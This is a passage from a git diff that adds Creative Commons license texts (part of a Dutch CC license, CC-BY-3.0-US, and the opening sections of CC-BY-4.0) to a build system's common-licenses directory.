+De Gebruiker mag deze rechten uitoefenen met behulp van alle thans bekende media, dragers en formats. De Gebruiker is tevens gerechtigd om technische wijzigingen aan te brengen die noodzakelijk zijn om de rechten met behulp van andere media, dragers en formats uit te oefenen. Alle niet uitdrukkelijk verleende rechten zijn hierbij voorbehouden aan de Licentiegever, met inbegrip van maar niet beperkt tot de rechten die in artikel 4(d) worden genoemd. Voor zover de Licentiegever op basis van het nationale recht ter implementatie van de Europese Databankenrichtlijn over uitsluitende rechten beschickt doet de Licentiegever afstand van deze rechten.
+
+4. Beperkingen. De in artikel 3 verleende Licentie is uitdrukkelijk gebonden aan de volgende beperkingen:
+
+ a. De Gebruiker mag het Werk uitsluitend verspreiden, in het openbaar tonen, op- of uitvoeren of on-line beschikbaar stellen met inachtneming van de voorwaarden van deze Licentie, en de Gebruiker dient een exemplaar van, of de Uniform Resource Identifier voor, deze Licentie toe te voegen aan elk exemplaar van het Werk dat de Gebruiker verspreidt, in het openbaar toont, op- of uitvoert, of on-line beschikbaar stelt. Het is de Gebruiker niet toegestaan om het Werk onder enige afwijkende voorwaarden aan te bieden waardoor de voorwaarden van deze Licentie dan wel de mogelijkheid van de ontvangers van het Werk om de rechten krachtens deze Licentie uit te oefenen worden beperkt. Het is de Gebruiker niet toegestaan om het Werk in sublicentie te geven. De Gebruiker dient alle vermeldingen die verwijzen naar deze Licentie dan wel naar de uitsluiting van garantie te laten staan. Het is de Gebruiker niet toegestaan om het Werk te verspreiden, in het openbaar te tonen, op- of uit te voeren of on-line beschikbaar te stellen met toepassing van technologische voorzieningen waardoor de voorwaarden van deze Licentie dan wel de mogelijkheid van de ontvangers van het Werk om de rechten krachtens deze Licentie uit te oefenen worden beperkt. Het voorgaande is tevens van toepassing op het Werk dat deel uitmaakt van een Verzamelwerk, maar dat houdt niet in dat het Verzamelwerk, afgezien van het Werk zelf, gebonden is aan de voorwaarden van deze Licentie. Indien de Gebruiker een Verzamelwerk maakt, dient deze, op verzoek van welke Licentiegever ook, de op grond van artikel 4(b) vereiste naamsvermelding uit het Verzamelwerk te verwijderen, voor zover praktisch mogelijk, conform het verzoek. Indien de Gebruiker een Afgeleid werk maakt, dient hij, op verzoek van welke Licentiegever ook, de op grond van artikel 4(b) vereiste naamsvermelding uit het Afgeleide werk te verwijderen, voorzover praktisch mogelijk, conform het verzoek.
+
+ b. Indien de Gebruiker het Werk, Afgeleide Werken of Verzamelwerken verspreidt, in het openbaar toont, op- of uitvoert of on-line beschikbaar stelt, dient de Gebruiker, tenzij er sprake is van een verzoek als vermeld in lid 4(a), alle auteursrechtvermeldingen met betrekking tot het Werk te laten staan. Tevens dient de Gebruiker, op een wijze die redelijk is in verhouding tot het gebruikte medium, de naam te vermelden van (i) de Maker (of zijn/haar pseudoniem indien van toepassing) indien deze wordt vermeld; en/of (ii) van (een) andere partij(en) (b.v. sponsor, uitgeverij, tijdschrift) indien de naamsvermelding van deze partij(en) ("Naamsvermeldingsgerechtigden") in de auteursrechtvermelding of algemene voorwaarden van de Licentiegever of op een andere redelijke wijze verplicht is gesteld door de Maker en/of de Licentiegever; de titel van het Werk indien deze wordt vermeld; voorzover redelijkerwijs toepasbaar de Uniform Resource Identifier, indien aanwezig, waarvan de Licentiegever heeft aangegeven dat deze bij het Werk hoort, tenzij de URI niet verwijst naar de auteursrechtvermeldingen of de licentie-informatie betreffende het Werk; in overeenstemming met artikel 3(b) in geval van een Afgeleid werk, door te verwijzen naar het gebruik van het Werk in het Afgeleide werk (bijvoorbeeld: 'De Franse vertaling van het Werk van de Maker' of 'Scenario gebaseerd op het Werk van de Maker'). De Gebruiker dient op redelijke wijze aan de in dit artikel genoemde vereisten te voldoen; echter, met dien verstande dat, in geval van een Afgeleid werk of een Verzamelwerk, de naamsvermeldingen in ieder geval geplaatst dienen te worden, indien er een naamsvermelding van alle makers van het Afgeleide werk of het Verzamelwerk geplaatst wordt dan als deel van die naamsvermeldingen, en op een wijze die in ieder geval even duidelijk is als de naamsvermeldingen van de overige makers.
+
+ Volledigheidshalve dient te worden vermeld dat de Gebruiker uitsluitend gebruik mag maken van de naamsvermelding op de in dit artikel omschreven wijze teneinde te voldoen aan de naamsvermeldingsverplichting en, door gebruikmaking van zijn rechten krachtens deze Licentie, is het de Gebruiker niet toegestaan om op enigerlei wijze de indruk te wekken dat er sprake is van enig verband met, sponsorschap van of goedkeuring van de (toepasselijke) Maker, Licentiegever c.q. Naamsvermeldingsgerechtigden van de Gebruiker of diens gebruik van het Werk, zonder de afzonderlijke, uitdrukkelijke, voorafgaande, schriftelijke toestemming van de Maker, Licentiegever c.q. Naamsvermeldingsgerechtigden.
+
+ c. Volledigheidshalve dient te worden vermeld, dat de hierboven vermelde beperkingen (lid 4(a) en lid 4(b)) niet van toepassing zijn op die onderdelen van het Werk die geacht worden te vallen onder de definitie van het 'Werk' zoals vermeld in deze Licentie uitsluitend omdat zij voldoen aan de criteria van het sui generis databankenrecht krachtens het nationale recht ter implementatie van de Europese Databankenrichtlijn.
+
+ d. De in artikel 3 verleende rechten moeten worden uitgeoefend met inachtneming van het morele recht van de Maker (en/of de uitvoerende kunstenaar) om zich te verzetten tegen elke misvorming, verminking of andere aantasting van het werk, welke nadeel zou kunnen toebrengen aan de eer of de naam van de Maker (en/of de uitvoerende kunstenaar) of aan zijn waarde in deze hoedanigheid, indien en voor zover de Maker (en/of de uitvoerende kunstenaar) op grond van een op hem van toepassing zijnde wettelijke bepaling geen afstand kan doen van dat morele recht.
+
+5. Garantie en vrijwaring.
+
+TENZIJ ANDERS SCHRIFTELIJK IS OVEREENGEKOMEN DOOR DE PARTIJEN, STELT DE LICENTIEGEVER HET WERK BESCHIKBAAR OP 'AS-IS' BASIS, ZONDER ENIGE GARANTIE, HETZIJ DIRECT, INDIRECT OF ANDERSZINS, MET BETREKKING TOT HET WERK, MET INBEGRIP VAN, MAAR NIET BEPERKT TOT GARANTIES MET BETREKKING TOT DE EIGENDOMSTITEL, DE VERKOOPBAARHEID, DE GESCHIKTHEID VOOR BEPAALDE DOELEINDEN, MOGELIJKE INBREUK, DE AFWEZIGHEID VAN LATENTE OF ANDERE TEKORTKOMINGEN, DE JUISTHEID OF DE AAN- OF AFWEZIGHEID VAN FOUTEN, ONGEACHT DE OPSPOORBAARHEID DAARVAN, INDIEN EN VOORZOVER DE WET NIET ANDERS BEPAALT.
+
+6. Beperking van de aansprakelijkheid.
+
+DE LICENTIEGEVER AANVAARDT GEEN ENKELE AANSPRAKELIJKHEID JEGENS DE GEBRUIKER VOOR ENIGE BIJZONDERE OF INCIDENTELE SCHADE OF GEVOLGSCHADE VOORTVLOEIEND UIT DEZE LICENTIE OF HET GEBRUIK VAN HET WERK, ZELFS NIET INDIEN DE LICENTIEGEVER OP DE HOOGTE IS GESTELD VAN HET RISICO VAN DERGELIJKE SCHADE, INDIEN EN VOORZOVER DE WET NIET ANDERS BEPAALT.
+
+7. Beëindiging
+
+ a. Deze Licentie en de daarin verleende rechten vervallen automatisch op het moment dat de Gebruiker in strijd handelt met de voorwaarden van deze Licentie. De licenties van natuurlijke personen of rechtspersonen die Verzamelwerken hebben ontvangen van de Gebruiker krachtens deze Licentie blijven echter in stand zolang dergelijke natuurlijke personen of rechtspersonen zich houden aan de voorwaarden van die licenties. Na de beëindiging van deze Licentie blijven artikelen 1, 2, 5, 6, 7 en 8 onverminderd van kracht.
+
+ b. Met inachtneming van de hierboven vermelde voorwaarden wordt de Licentie verleend voor de duur van de toepasselijke intellectuele eigendomsrechten op het Werk. De Licentiegever behoudt zich desalniettemin te allen tijde het recht voor om het Werk volgens gewijzigde licentievoorwaarden te verspreiden of om het Werk niet langer te verspreiden; met dien verstande dat een dergelijk besluit niet de intrekking van deze Licentie (of enig andere licentie die volgens de voorwaarden van deze Licentie (verplicht) is verleend) tot gevolg heeft, en deze Licentie onverminderd van kracht blijft tenzij zij op de in lid a omschreven wijze wordt beëindigd.
+
+8. Diversen
+
+ a. Elke keer dat de Gebruiker het Werk of een Verzamelwerk verspreidt of on-line beschikbaar stelt, biedt de Licentiegever de ontvanger een licentie op het Werk aan volgens de algemene voorwaarden van deze Licentie.
+
+ b. Elke keer dat de Gebruiker een Afgeleid werk verspreidt of on-line beschikbaar stelt, biedt de Licentiegever de ontvanger een licentie op het oorspronkelijke werk aan volgens de algemene voorwaarden van deze Licentie.
+
+ c. Indien enige bepaling van deze Licentie nietig of niet rechtens afdwingbaar is, zullen de overige voorwaarden van deze Licentie volledig van kracht blijven. De nietige of niet-afdwingbare bepaling zal, zonder tussenkomst van de partijen, worden vervangen door een geldige en afdwingbare bepaling waarbij het doel en de strekking van de oorspronkelijke bepaling zoveel mogelijk in acht worden genomen.
+
+ d. Een verklaring van afstand van in deze Licentie verleende rechten of een wijziging van de voorwaarden van deze Licentie dient schriftelijk te geschieden en getekend te zijn door de partij die verantwoordelijk is voor de verklaring van afstand respectievelijk de partij wiens toestemming voor de wijziging is vereist.
+
+ f. Deze Licentie bevat de volledige overeenkomst tussen de partijen met betrekking tot het in licentie gegeven Werk. Er zijn geen andere afspraken gemaakt met betrekking tot het Werk. De Licentiegever is niet gebonden aan enige aanvullende bepalingen die worden vermeld in mededelingen van de Gebruiker. Deze licentie kan uitsluitend worden gewijzigd met de wederzijdse, schriftelijke instemming van de Licentiegever en de Gebruiker.
+
+Aansprakelijkheid en merkrechten van Creative Commons
+
+Creative Commons is geen partij bij deze Licentie en stelt geen enkele garantie met betrekking tot het Werk. Creative Commons kan op geen enkele wijze aansprakelijk worden gehouden jegens de Gebruiker of derden voor enigerlei schade met inbegrip van, maar niet beperkt tot enige algemene, bijzondere, incidentele of gevolgschade voortvloeiend uit deze Licentie. Onverminderd het bepaalde in de twee (2) voorgaande volzinnen is Creative Commons gebonden aan alle rechten en verplichtingen van de Licentiegever indien Creative Commons zichzelf uitdrukkelijk kenbaar gemaakt heeft als de Licentiegever krachtens deze Licentie.
+
+Met uitzondering van het beperkte doel om iedereen erop te wijzen dat het Werk in licentie is gegeven krachtens de CCPL, geeft Creative Commons aan geen van de partijen toestemming om gebruik te maken van de merknaam 'Creative Commons', enige daarmee verband houdende merknamen dan wel het logo van Creative Commons gebruiken zonder de voorafgaande schriftelijke toestemming van Creative Commons. Het geoorloofde gebruik dient in overeenstemming te zijn met de alsdan geldende richtlijnen betreffende het gebruik van merknamen van Creative Commons zoals die bekend worden gemaakt op de website of anderszins van tijd tot tijd, desgevraagd, ter beschikking worden gesteld. Volledigheidshalve dient te worden vermeld dat deze merkrechtelijke beperking geen deel uitmaakt van de Licentie.
+
+U kunt contact opnemen met Creative Commons via de website: https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-3.0-US b/meta/files/common-licenses/CC-BY-3.0-US
new file mode 100644
index 0000000000..c35a2b1a11
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-US
@@ -0,0 +1,83 @@
+Creative Commons Attribution 3.0 United States
+
+ CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+1. Definitions
+
+ a. "Collective Work" means a work, such as a periodical issue, anthology or encyclopedia, in which the Work in its entirety in unmodified form, along with one or more other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this License.
+
+ b. "Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works, such as a translation, musical arrangement, dramatization, fictionalization, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which the Work may be recast, transformed, or adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this License. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this License.
+
+ c. "Licensor" means the individual, individuals, entity or entities that offers the Work under the terms of this License.
+
+ d. "Original Author" means the individual, individuals, entity or entities who created the Work.
+
+ e. "Work" means the copyrightable work of authorship offered under the terms of this License.
+
+ f. "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
+
+2. Fair Use Rights. Nothing in this license is intended to reduce, limit, or restrict any rights arising from fair use, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws.
+
+3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
+
+ a. to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works;
+
+ b. to create and reproduce Derivative Works provided that any such Derivative Work, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked "The original work was translated from English to Spanish," or a modification could indicate "The original work has been modified.";;
+
+ c. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works;
+
+ d. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works.
+
+ e. For the avoidance of doubt, where the Work is a musical composition:
+
+ i. Performance Royalties Under Blanket Licenses. Licensor waives the exclusive right to collect, whether individually or, in the event that Licensor is a member of a performance rights society (e.g. ASCAP, BMI, SESAC), via that society, royalties for the public performance or public digital performance (e.g. webcast) of the Work.
+
+ ii. Mechanical Rights and Statutory Royalties. Licensor waives the exclusive right to collect, whether individually or via a music rights agency or designated agent (e.g. Harry Fox Agency), royalties for any phonorecord You create from the Work ("cover version") and distribute, subject to the compulsory license created by 17 USC Section 115 of the US Copyright Act (or the equivalent in other jurisdictions).
+
+ f. Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor waives the exclusive right to collect, whether individually or via a performance-rights society (e.g. SoundExchange), royalties for the public digital performance (e.g. webcast) of the Work, subject to the compulsory license created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions).
+
+The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor are hereby reserved.
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may distribute, publicly display, publicly perform, or publicly digitally perform the Work only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy or phonorecord of the Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of a recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. When You distribute, publicly display, publicly perform, or publicly digitally perform the Work, You may not impose any technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this License. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by Section 4(b), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by Section 4(b), as requested.
+
+ b. If You distribute, publicly display, publicly perform, or publicly digitally perform the Work (as defined in Section 1 above) or any Derivative Works (as defined in Section 1 above) or Collective Works (as defined in Section 1 above), You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or (ii) if the Original Author and/or Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and, consistent with Section 3(b) in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4(b) may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear, if a credit for all contributing authors of the Derivative Work or Collective Work appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.
+
+5. Representations, Warranties and Disclaimer
+
+UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND ONLY TO THE EXTENT OF ANY RIGHTS HELD IN THE LICENSED WORK BY THE LICENSOR. THE LICENSOR MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MARKETABILITY, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.
+
+6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ a. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Derivative Works (as defined in Section 1 above) or Collective Works (as defined in Section 1 above) from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
+
+ b. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
+
+8. Miscellaneous
+
+ a. Each time You distribute or publicly digitally perform the Work (as defined in Section 1 above) or a Collective Work (as defined in Section 1 above), the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+
+ b. Each time You distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
+
+ c. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ d. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+
+ e. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+
+Creative Commons Notice
+
+Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, Creative Commons does not authorize the use by either party of the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. For the avoidance of doubt, this trademark restriction does not form part of the License.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-4.0 b/meta/files/common-licenses/CC-BY-4.0
new file mode 100644
index 0000000000..13ca539f37
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-4.0
@@ -0,0 +1,156 @@
+Creative Commons Attribution 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+ c. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ d. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ e. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ f. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ g. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ h. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ i. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ j. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ k. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part; and
+
+ B. produce, reproduce, and Share Adapted Material.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+ 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
